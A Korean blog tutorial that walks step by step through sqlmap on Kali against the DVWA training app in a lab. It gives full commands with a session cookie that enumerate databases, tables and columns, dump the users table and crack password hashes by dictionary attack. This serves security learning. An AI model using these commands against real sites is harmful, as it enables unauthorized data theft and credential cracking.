출처:http://lureout.tistory.com/60
https://brunch.co.kr/@leesmain/8
https://brunch.co.kr/@leesmain/9
ali의 sqlmap을 사용해보자
(취약점 있는 사이트 주소)
(sql injection (blind) 메뉴에서 submit을 한번 이라도 눌러야지 id= 이라는 url이 추가 된다)
그리고 DVWA를 이용하기 위해 admin / password 로 로그인 했기 때문에
로그인 없이 접근을 못한다
그렇기 때문에 sqlmap을 사용할때 쿠키값을 같이 써줘야한다
나는 chrome의 앱중 Edit ThisCooke라는 것을 사용하지만
쿠키값을 볼 수 있는 방법은 여러가지다
Kali로 와서
sqlmap -h 와 sqlmap -hh (자세한 도움말)를 입력해서 도움말을 볼수 있다
sqlmap -u "http://192.168.0.11/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" -p "id" --dbs --cookie="security=low; PHPSESSID=532241126619564c18e1b1c628e09aa9"
이런식으로 자신의 쿠키값을 넣어주자
-p "id"는 취약점이 있는 변수 값을 써주면 되는데 생략해도 된다
--dbs 옵션으로 db리스트를 볼수 있을 것이다
사용하고 있는 운영체제(OS)와 PHP버전 Apache 버전
데이타베이스 정보까지 볼수 있었고
available databases [7]:
[*] dvwa
[*] information_schema
등등 여러개의 데이타베이스를 찾은것을 볼수 있다
어떤 데이타베이스가 있는지 알아냈으니 이제
sqlmap -u "http://192.168.0.11/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" -p "id" --dbs --cookie="security=low; PHPSESSID=532241126619564c18e1b1c628e09aa9" --tables -D "dvwa"
아까 명령어에서 --tables -D "데이타베이스명" 을 추가하여 보자
아까 결과에서 추가로 데이타베이스 dvwa의 tables를 볼수 있게 되었다
이젠 바로 전 명령어에서 추가로 --columns -T "테이블명" 을 추가해보자
sqlmap -u "http://192.168.0.11/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" -p "id" --dbs --cookie="security=low; PHPSESSID=532241126619564c18e1b1c628e09aa9" --tables -D "dvwa" --columns -T "users"
테이블 정보에서 이제 칼럼들의 정보를 볼수 있었다
이제 마지막으로
-C 옵션과 --dump 옵션을 추가하자
sqlmap -u "http://192.168.0.11/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" -p "id" --dbs --cookie="security=low; PHPSESSID=532241126619564c18e1b1c628e09aa9" --tables -D "dvwa" --columns -T "users" -C "users,password" --dump
dvwa 데이타베이스에 저장되어있는 users 테이블의 user정보와 password 정보를 볼수 있었고
password가 암호화되어있는지만
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
-> 디폴트 값으로 N (엔터)
do you want to crack them via a dictionary-based attack? [Y/n/q]
(사전 기반 공격으로 크랙할꺼냐)
-> 디폴트 값으로 Y (엔터)
what dictionary do you want to use?
(사전 뭘쓸껀지)
[1]
[2]
[3]
-> 디폴트 값으로 1 (엔터)
do you want to use common password suffixes? (slow!) [y/N]
(접미사 쓸꺼냐)
-> 디폴트 값으로 N (엔터)
사전에 기록되어있는 password는 크랙되어
암호화되기전 패스워드를 알아낼 수 있다
--dump 옵션으로
/usr/share/sqlmap/output/192.168.0.11(주소)/dump/dvwa/users.csv 에가면 방금
얻은 user,password의 정보가 담겨져있고
/usr/share/sqlmap/output/192.168.0.11(주소)/log에는
지금까지 해온 모든 결과가 기록 되어있다
'프로젝트 관련 조사 > 모의 해킹' 카테고리의 다른 글
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 (0) | 2016.10.18 |
---|---|
웹 방화벽 우회 (0) | 2016.08.31 |
웹 취약점 진단을 위한 피들러 사용법 (0) | 2016.07.24 |
취약점 점검 도구 (0) | 2016.07.23 |
[ Web Scanning Tool ] NIKTO 간략 개요 (0) | 2016.07.16 |